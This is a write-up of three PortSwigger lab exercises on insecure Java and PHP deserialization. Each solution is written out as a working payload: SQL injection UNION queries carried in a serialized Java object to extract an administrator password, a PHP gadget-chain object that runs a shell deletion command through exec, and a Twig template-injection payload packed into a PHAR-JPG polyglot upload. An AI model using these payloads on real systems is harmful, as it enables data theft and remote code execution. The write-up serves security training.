Labs Covered
This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Insecure Deserialization:
8 Developing a custom gadget chain for Java deserialization
This lab demonstrates how attackers can analyze and build custom gadget chains for exploiting insecure Java deserialization vulnerabilities.
9 Developing a custom gadget chain for PHP deserialization
This lab shows how attackers can create custom gadget chains tailored for PHP applications to achieve code execution through insecure deserialization.
10 Using PHAR deserialization to deploy a custom gadget chain
This lab demonstrates how attackers can leverage PHAR archives to trigger insecure PHP deserialization and execute custom gadget chains.
LAB 8 - Developing a custom gadget chain for Java deserialization
Lab Description
Overview: Creating Your Own Exploit for Insecure Deserialization
When pre-built gadget chains (like those in ysoserial or PHPGGC) fail to exploit an insecure deserialization vulnerability, the next step is to craft your own exploit — usually by building a custom gadget chain tailored to the application’s codebase.
1. Source Code Access is Essential
- Creating a gadget chain without source code is extremely difficult and usually impractical.
-
You need the source code to:
- Understand object structures
- Track magic method invocation (
__wakeup(),readObject(), etc.) - Trace control flow
- Spot user-controllable inputs and dangerous operations
2. Find the Kick-off Gadget
-
Search for a class with a magic method that is automatically called during deserialization.
- PHP:
__wakeup(),__destruct(),__call() - Java:
readObject(),readResolve()
- PHP:
-
Analyze this method to check:
- Does it access any user-controlled properties?
- Does it perform dangerous operations like file access, command execution, or network calls?
🔍 If the kick-off gadget isn’t directly dangerous, it may still call other methods — these become part of the chain.
3. Trace the Execution Chain
- From the kick-off gadget, recursively trace the flow of method calls.
-
Look for:
- Reflection or dynamic code execution
- File system interaction
- Deserialization of nested objects
- Eval or system() usage
You’re essentially looking for a sink gadget: a method where attacker-controlled data reaches a sensitive operation.
4. Build the Payload
Once you have:
- A gadget chain (kick-off → … → sink)
- Knowledge of which values you can control
You can now:
- Create a serialized object (manually or via code)
- Set required property values to carry the payload through the chain
String-based formats:
- Easier to handcraft payloads (e.g., PHP’s
serialize())
Binary-based formats (e.g., Java):
- More complex
-
Best to write Java code to:
- Instantiate the chain
- Set property values
- Call
ObjectOutputStream.writeObject()to serialize
5. Trigger Secondary Vulnerabilities (if applicable)
Your custom gadget chain can be a delivery mechanism for secondary attacks, such as:
- Path traversal
- Command injection
- XXE or deserialization-based SSRF
- Privilege escalation through object mutation
Look for logic in the sink that can be combined with another class or gadget for chaining.
Summary Steps
| Step | Description |
|---|---|
| 1. Source Review | Identify magic methods and dangerous classes |
| 2. Kick-off Gadget | Locate magic method entry point |
| 3. Gadget Chain | Follow method calls to find a sink |
| 4. Payload Crafting | Serialize custom object with controlled values |
| 5. Test and Refine | Send payload and observe behavior |
Solution
First when I enter carlos and enter username and password and intercept it we can see that it’s java serilized and decode the cookie
Let’s decode the session cookie.
Now if we look at the source of the html page, we can see this commented code <! — <a href=/backup/AccessTokenUser.java>Example user</a> → . Going to /backup endpoint we find two java file.
AccessTokenUsre.java is the class that is getting serialized and being returned in the session cookie. Pay attention to username and accessToken fields.
Now lets look at the ProductTemplate.java source code. ProductTemplate.readObject() method invokes inputStream.defaultReadObject(); readObject() method will be called when deserializing the serialized ProductTemplate object. Also we can see a constructor initializing field id
One more thing to notice is that, there is one sql query which is using this id field directly into the query. Clear case of sql injection here.
So our exploit steps would be 1. Create a serialized object from the product template java file obtained earlier. Put in our payload in the id field and base64 encode the serialized object 2. Use the base64 encoded value from step1 in the session cookie. Once this value is deserialized ( readObject() will be invoked ) we can exploit the sql injection using our payload in id field. 3. Sql query will be executed, since it’s in the readObject() method which will be called during deserialization 4. Note that private transient Product product is transient, so this field will not be serialized. 5. Once we extract the administrator password exploiting sql injection, we delete the carlos account and solve the lab.
Port Swigger already provided the sample java files which can be used to create the serialized object https://github.com/PortSwigger/serialization-examples/tree/master/java/solution. Copy the files in your local folder and compile them.
File contain in the github
So we intercpted file which is deserilzed and sql injection happaen in it
We will create a serialized object with value of id as ‘ — single quote.
Remainder:
Number of columns
But first, we will use union query to first find out the number of columns in the products table. Use the union payload “’ UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.tables –“increasing the number of NULL to find the number of columns, which will come out to be 8.
Finding out table name
**Payload **— java Main "' UNION SELECT NULL,NULL,NULL,NULL,CAST(table_name AS numeric),null,null,null from information_schema.tables -- "
Error in the response <p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "users"</p> revealing table name as users
Column name
payload1 — ' UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = 'users' --
Error in response1 — <p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "username"</p>
payload2 — 'UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = 'users' and column_name !='username'--
Error in response2 — <p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "password"</p>
now that we know the table name and column names we can extract the password of the user administrator.
Extracting administrator password
payload — 'UNION SELECT NULL,NULL,NULL,NULL,CAST(password AS numeric),null,null,null from users where username='administrator' --
error in response — <p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "albhslljyvji9rxzbill"</p>
Now we can login as administrator and delete the carlos account to solve the lab.
By carefully studying the source code, you can discover longer gadget chains that potentially allow you to construct high-severity attacks, often including remote code execution.
LAB 9 - Developing a custom gadget chain for PHP deserialization
Lab Description
Solution
Login the account and look at the cookie we can see that it might be base64 decode cookie.
Decoding wit base64 we get the following code O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"cftzj8vyuty1u8qbvnsufbamwguwfm4g";}
As we can see that in the comment we have a refernce php file
Accessing the file directly doesnot give me anything
So after entering tilde ~ sign at the end of php.The tilde ~ at the end of the file name typically indicates that it’s a backup or temporary file created by some text editors or version control systems.after that we can read it
In the source code, notice that the __wakeup() magic method for a CustomTemplate will create a new Product by referencing the default_desc_type and desc from the CustomTemplate.
Also notice that the DefaultMa class has the __get() magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokes call_user_func(), which will execute any function that is passed into it via the DefaultMap->callback attribute. The function will be executed on the $name, which is the non-existent attribute that was requested.
You can exploit this gadget chain to invoke exec(rm /home/carlos/morale.txt) by passing in a CustomTemplate object where:
CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"
If you follow the data flow in the source code, you will notice that this causes the Product constructor to try and fetch the default_desc_type from the DefaultMap object. As it doesn’t have this attribute, the __get() method will invoke the callback exec() method on the default_desc_type, which is set to our shell command
To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via your session cookie:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
So we encode the above code with base64
And changing cookie to above base64 serilized code
The above base64 serilized code give us error and lab is solved
Even if you can’t find a gadget chain that’s ready to use, you may still gain valuable knowledge that helps you create your own custom exploit.
LAB 10 - Using PHAR deserialization to deploy a custom gadget chain
Lab Description
Overview: PHAR Deserialization in PHP
PHAR deserialization is a technique that allows attackers to exploit insecure deserialization vulnerabilities even when the unserialize() function is not explicitly used by the application.
What is PHAR?
PHAR stands for PHP Archive. It is a file format (like .zip) that can bundle multiple PHP files and metadata into a single package. These archives are often used for distributing PHP libraries or applications.
But here’s the key point:
PHAR files contain serialized metadata, and PHP implicitly deserializes this metadata when certain file-related operations are performed on a
phar://stream.
Exploitation Technique
1. Triggering Deserialization with phar://
PHP provides a stream wrapper called phar:// which allows access to PHAR contents via file system functions (like file_exists(), stat(), is_file(), etc.).
If you pass a PHAR file using this wrapper into one of these functions, PHP automatically deserializes the embedded metadata, even if unserialize() was never called in the code.
2. Creating a PHAR-based Exploit
- You create a malicious PHAR file whose metadata includes a serialized object.
- This object contains a magic method like
__wakeup()or__destruct()that initiates your exploit or gadget chain. - You then upload this file to the server (e.g., via a file upload form).
- Finally, you find a way to make the application interact with your file via the
phar://wrapper.
3. Bypassing Upload Filters
- Websites often restrict file uploads to specific file extensions like
.jpgor.png. -
To bypass this, attackers use a polyglot file: a file that is both a valid image and a valid PHAR archive.
- This tricks the upload filter (which sees an image), while PHP still processes it as a PHAR.
- PHP doesn’t care about the file extension when using
phar://.
Vulnerable Function Example
// No use of unserialize(), looks safe
if (file_exists($_GET['file'])) {
echo "File exists.";
}
But if an attacker can pass phar://uploads/malicious.jpg, and malicious.jpg is a PHAR with a serialized payload in the metadata, then the metadata will be deserialized and any embedded magic method will be executed.
Key Takeaways
| Concept | Details |
|---|---|
| PHAR Archive | Can contain serialized PHP metadata |
| Deserialization Trigger | Happens when using phar:// with file operations |
No unserialize() needed |
PHP handles deserialization implicitly |
| Payload Vector | Malicious object with __wakeup() or __destruct() |
| Delivery | Upload PHAR (e.g., as image polyglot) and access via phar:// |
| Real-World Use | Listed in top 10 web hacking techniques (2018) |
Solution
Before we login we see cookie decode it doesnot reveal anything
Decoding above cookie doesnot give and serilized code.
After we login as winer:peter we see cookie decode it doesnot reveal anything
Decoding above cookie doesnot give and serilized code.
We need explore the website with burp suite. Ok, at the moment only viewed csrf… but not its our goal… we saw in target the /cg-bin directory, we need explore this directory
In here, we can upload an avatar image file. We can try to upload a valid image file:
We can also see Avatar
Burp Suite HTTP history:
We can see below which method is calling wiener avatar poicture
As you can see, it has 3 PHP files: CustomTemplate.php, Blog.php, avatar.php.
The first two of them’s source code can be view, as it appended a ~ character is the end of the extension.
CustomTemplate.php:
source= https://siunam321.github.io/ctf/portswigger-labs/Insecure-Deserialization/deserial-10/
As you can see, it has 3 PHP files: CustomTemplate.php, Blog.php, avatar.php. The first two of them’s source code can be view, as it appended a ~ character is the end of the extension. CustomTemplate.php:
In CustomTemplate.php, there is a class called CustomTemplate.
Also, there is a __destruct() magic method, which will be invoked when the PHP script is stopped or exited.
When this method is invoked, it’ll delete a file from CustomTemplate->lockFilePath(), which is templates/$CustomTemplate->template_file_path.lock.
Moreover, the isTemplateLocked() method is using file_exists() method on CustomTemplate->lockFilePath() attribute.
In Blog.php, it uses Twig template engine, and there is a class called Blog.
The __wakeup() magic method is interesting for us, as it’ll automatically invoked during the deserialization process.
When the __wakeup() magic method is invoked, it’ll create a new object from Twig_Environment(), and it’s referring the Blog->desc attribute.
Armed with above information, we can exploit SSTI (Server-Side Template Injection) and using PHAR stream to gain remote code execution!
Blog.php:
In Blog.php, it uses Twig template engine, and there is a class called Blog. The __wakeup() magic method is interesting for us, as it’ll automatically invoked during the deserialization process. When the __wakeup() magic method is invoked, it’ll create a new object from Twig_Environment(), and it’s referring the Blog->desc attribute. Armed with above information, we can exploit SSTI (Server-Side Template Injection) and using PHAR stream to gain remote code execution! • SSTI:
Now we have a SSTI payload, we can build a PHP payload:
This payload will set a SSTI payload in the Blog->desc attribute, which will then parsed to CustomTemplate->template_file_path. Finally, we can create a PHAR payload. According to this GitHub repository, we can create a PHAR JPG ploygot:
┌[root♥siunam]-(/opt)-[2024.01.13|13:22:05]
└> git clone https://github.com/kunte0/phar-jpg-polyglot.git;cd phar-jpg-polyglot
phar_jpg_polyglot.php:
Only change we have done in phar_jpg_polyglot.php: github code is pop exploit code
No run this in linux
┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2024.01.13|15:23:58]-[git://master ✗]
└> php -cphp.ini phar_jpg_polyglot.php
string(229)"O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:17:"any_user_you_want";s:4:"desc";s:106:"\{\{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("rm /home/carlos/morale.txt")\}\}";}}"
┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2024.01.13|15:23:58]-[git://master ✗]
└> ls-lahout.jpg
-rw-r--r--1 root root 132K Jan 13 15:23 out.jpg
Upload it and lab is solved: